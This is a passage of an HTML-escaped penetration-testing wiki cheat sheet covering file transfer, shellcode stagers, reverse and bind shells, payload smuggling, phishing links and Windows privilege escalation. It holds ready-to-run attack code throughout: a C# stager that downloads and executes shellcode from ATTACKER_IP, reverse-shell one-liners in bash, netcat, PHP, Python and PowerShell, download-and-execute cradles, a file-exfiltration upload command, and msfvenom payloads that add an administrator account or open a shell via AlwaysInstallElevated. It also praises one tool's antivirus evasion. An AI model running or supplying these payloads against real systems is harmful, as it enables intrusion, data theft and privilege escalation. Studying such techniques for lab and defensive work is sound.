&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
sudo nc -lnvp 443 &amp;gt; receiving_powercat.ps1&lt;br /&gt;
# Target&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Python ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
python3 -m http.server 8080&lt;br /&gt;
python2 -m SimpleHTTPServer 8080&lt;br /&gt;
# Target&lt;br /&gt;
wget http://ip:port/file&lt;br /&gt;
curl http://ip:port/file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows upload using php and powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker, create a php upload script and host it on apache2 server&lt;br /&gt;
&lt;br /&gt;
# On target, upload files using this command.&lt;br /&gt;
powershell (New-Object System.Net.WebClient).UploadFile(&#039;http://10.11.0.4/upload.php&#039;, &#039;important.docx&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Shellcode and Staged payloads ==&lt;br /&gt;
&lt;br /&gt;
=== csharp stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography.X509Certificates;&lt;br /&gt;
public class Program {&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
  private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
  public static void Main()&lt;br /&gt;
  {&lt;br /&gt;
    string url = &amp;quot;https://ATTACKER_IP/shellcode.bin&amp;quot;;&lt;br /&gt;
    Stager(url);&lt;br /&gt;
  }&lt;br /&gt;
  public static void Stager(string url)&lt;br /&gt;
  {&lt;br /&gt;
    WebClient wc = new WebClient();&lt;br /&gt;
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };&lt;br /&gt;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;&lt;br /&gt;
    byte[] shellcode = wc.DownloadData(url);&lt;br /&gt;
    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);&lt;br /&gt;
    IntPtr threadHandle = IntPtr.Zero;&lt;br /&gt;
    UInt32 threadId = 0;&lt;br /&gt;
    IntPtr parameter = IntPtr.Zero;&lt;br /&gt;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);&lt;br /&gt;
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Msfvenom Staged payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
# -b &#039;\x00\x0a\x0d&#039;: Sets a list of characters to avoid in the generated shellcode. The characters &#039;\x00\x0a\x0d&#039; correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Bind shells ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -l -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Reverse shells ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
=== Reverse Shell Generator ===&lt;br /&gt;
&lt;br /&gt;
[https://www.revshells.com/ https://www.revshells.com/]&lt;br /&gt;
&lt;br /&gt;
=== hoaxshell ===&lt;br /&gt;
&lt;br /&gt;
Currently undetected by Microsoft and most AV (12.10.2022)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/t3l3machus/hoaxshell&lt;br /&gt;
──(root💀kali)-[/opt/hoaxshell]&lt;br /&gt;
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444                                                                                                                                              1 ⨯&lt;br /&gt;
    ┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬   ┬&lt;br /&gt;
    ├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤  │   │&lt;br /&gt;
    ┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘&lt;br /&gt;
                           by t3l3machus&lt;br /&gt;
[Info] Generating reverse shell payload...&lt;br /&gt;
powershell -e JABzAD0AJwAxADkAMgAuADEANg....&lt;br /&gt;
[Info] Type &amp;quot;help&amp;quot; to get a list of the available prompt commands.&lt;br /&gt;
[Info] Http Server started on port 4444.&lt;br /&gt;
[Important] Awaiting payload execution to initiate shell session...&lt;br /&gt;
[Shell] Payload execution verified!&lt;br /&gt;
[Shell] Stabilizing command prompt...&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; whoami&lt;br /&gt;
laptop-\alaag&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; systeminfo&lt;br /&gt;
Host Name:                 LAPTOP-&lt;br /&gt;
OS Name:                   Microsoft Windows 11 Home&lt;br /&gt;
OS Version:                10.0.22000 N/A Build 22000&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Workstation&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ICMP Reverse Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/krabelize/icmpdoor&lt;br /&gt;
# https://cryptsus.com/blog/icmp-reverse-shell.html&lt;br /&gt;
## Python version usage (both Windows and Linux):&lt;br /&gt;
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)&lt;br /&gt;
## Binary Windows version usage version:&lt;br /&gt;
./icmp-cnc.exe -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.exe -d CNC-IP (Implant)&lt;br /&gt;
## Binary Linux version usage version:&lt;br /&gt;
./icmp-cnc -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor -d CNC-IP (Implant)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH TCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
0/dev/tcp/10.0.0.1/4242; sh &amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;amp;1&lt;br /&gt;
## Don&#039;t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH UDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Victim:&lt;br /&gt;
sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
Listener:&lt;br /&gt;
nc -u -lvp 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ngrok - Catcha reverse shell from the internet ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker (term1)&lt;br /&gt;
ngrok tcp 4444&lt;br /&gt;
# On attacker (term2)&lt;br /&gt;
nc -lvp 4444&lt;br /&gt;
# On target, use your reverse shell payload on the ngrok tunnel target&lt;br /&gt;
nc 0.tcp.ngrok.io  -e /bin/sh&lt;br /&gt;
-----&lt;br /&gt;
# Another method if there is a proxy and firewall.&lt;br /&gt;
# Setup free domain. (Custom domain is a paid feature)&lt;br /&gt;
https://dashboard.ngrok.com/cloud-edge/domains&lt;br /&gt;
ngrok http --domain=ngrok-provided-domain.ngrok-free.app&lt;br /&gt;
# On attacker&lt;br /&gt;
nc -lvnp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat Traditional ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
nc -c bash 10.0.0.1 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat BusyBox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== nc.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe attacker_ip attacker_port&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
php -r &#039;$sock=fsockopen(&amp;quot;10.10.14.17&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&#039;&lt;br /&gt;
# Base64 encoded webshell&lt;br /&gt;
&amp;quot;&amp;quot;&lt;br /&gt;
&amp;quot;&amp;amp; /dev/tcp/192.168.49.129/80 0&amp;gt;&amp;amp;1&#039;); ?&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershells ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -nop -c &amp;quot;$client = New-Object System.Net.Sockets.TCPClient(&#039;10.0.0.1&#039;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&amp;gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&amp;quot;10.0.0.1&amp;quot;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell IEX (New-Object Net.WebClient).DownloadString(&#039;https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell base64 encoded reverse shell payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge &amp;gt; encodedreverseshell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.169&amp;quot;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stabilize shell (Interactive shell) ===&lt;br /&gt;
&lt;br /&gt;
==== Linux ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &#039;import pty;pty.spawn(“/bin/bash”)&#039;&lt;br /&gt;
export TERM=xterm&lt;br /&gt;
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1&lt;br /&gt;
# 1. Edit Nishang script and add&lt;br /&gt;
Invoke-PowerShellTcp -Reverse -IpAddress  -Port&lt;br /&gt;
# 2. Start a new netcat listener&lt;br /&gt;
# 3. Start simple http.severe where the nishang script is&lt;br /&gt;
# 4. On target. (Make sure powershell is enabled and allowed to use)&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix TTY in reverse shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In our shell. Remember the rows anc cols&lt;br /&gt;
stty -a&lt;br /&gt;
# On victim shell&lt;br /&gt;
stty rows  cols&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PackMyPayload ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag &amp;amp; demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]&lt;br /&gt;
&lt;br /&gt;
Smuggle payloads using various file formats:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;7zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ISO&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;IMG&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Pack a dir to .iso&lt;br /&gt;
PackMyPayload.py C:\my\dir malicious.iso -v&lt;br /&gt;
# Pack a malicious code to .vhd&lt;br /&gt;
PackMyPayload.py .\evil.lnk .\evil.vhd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Programming ==&lt;br /&gt;
&lt;br /&gt;
=== Control flow - Logic Statement ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Logic Statement&lt;br /&gt;
| Purpose&lt;br /&gt;
|-&lt;br /&gt;
| if/else&lt;br /&gt;
| Executes only if a condition is met, else it will execute a different code block&lt;br /&gt;
|-&lt;br /&gt;
| try/catch&lt;br /&gt;
| Will try to execute a code block and catch it if it fails to handle errors.&lt;br /&gt;
|-&lt;br /&gt;
| switch case&lt;br /&gt;
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default&lt;br /&gt;
|-&lt;br /&gt;
| for/while loop&lt;br /&gt;
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
==== Admin Account Credentials ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas&lt;br /&gt;
runas /profile /user:Administrator &amp;quot;nc.exe -e cmd 192.168.49.169 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method is if the shell is non-interactive is to use a powershell script.&lt;br /&gt;
# Save this on your Kali and start a HTTP.server.&lt;br /&gt;
$password = ConvertTo-SecureString &amp;quot;lab&amp;quot; -AsPlainText -Force&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential (&amp;quot;Administrator&amp;quot;, $password)&lt;br /&gt;
Start-Process -Credential $credential -FilePath &amp;quot;C:\Users\Offsec\Desktop\ProcessHollow.exe&amp;quot;&lt;br /&gt;
# Now on the shell you have, run this command.&lt;br /&gt;
iex(new-object net.webclient).downloadstring(&#039;http://192.168.45.198/test.ps1&#039;)&lt;br /&gt;
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method again is to RDP to the target if possible and Run As.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AlwaysInstallElevated ====&lt;br /&gt;
&lt;br /&gt;
If these two registers are enabled then users of any privilege can install &#039;&#039;&#039;.msi &#039;&#039;&#039;files as NT AUTHORITY\SYSTEM&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated&lt;br /&gt;
# If 0x1 then its enabled&lt;br /&gt;
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
&lt;br /&gt;
# Msfvenom payload&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted&lt;br /&gt;
# The above is better for persistence&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi &amp;gt; rev_shell.msi # Recommeded if not AD.&lt;br /&gt;
# Execute&lt;br /&gt;
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi&lt;br /&gt;
&lt;br /&gt;
----------------&lt;br /&gt;
# The above command will probably be detected by AV. You can compile your own .msi.&lt;br /&gt;
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated&lt;br /&gt;
PS C:\WiX Toolset v3.11\bin&amp;gt; .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
# You can also use MSI Wrapper.&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
------------------------------------------&lt;br /&gt;
# There is also a metasploit module, but it needs a bit tweaking&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
# In the multi handler do the following&lt;br /&gt;
set DisablePayloadHandler true - # Disable built-in listener&lt;br /&gt;
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload&lt;br /&gt;
run -j -z - # Background listener&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; use exploit/windows/local/always_install_elevated&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set VERBOSE true&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set payload windows/exec&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set session 1&lt;br /&gt;
# The encoded powershell command do &#039;whoami &amp;gt; C:\whoami.txt&#039; to verify that it works&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA=&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;C:\proc_hol.exe&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# You should get a callback to your meterpreter listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]&lt;br /&gt;
&lt;br /&gt;
==== BarracudaDrive 6.5 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass UAC ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy  Level shell, we might bypass uac.&lt;br /&gt;
# Notice the last line, &amp;quot;Mandatory Label\Medium Mandatory Level&amp;quot;&lt;br /&gt;
whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name                                 Type             SID          Attributes&lt;br /&gt;
========================================== ================ ============ ==================================================&lt;br /&gt;
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only&lt;br /&gt;
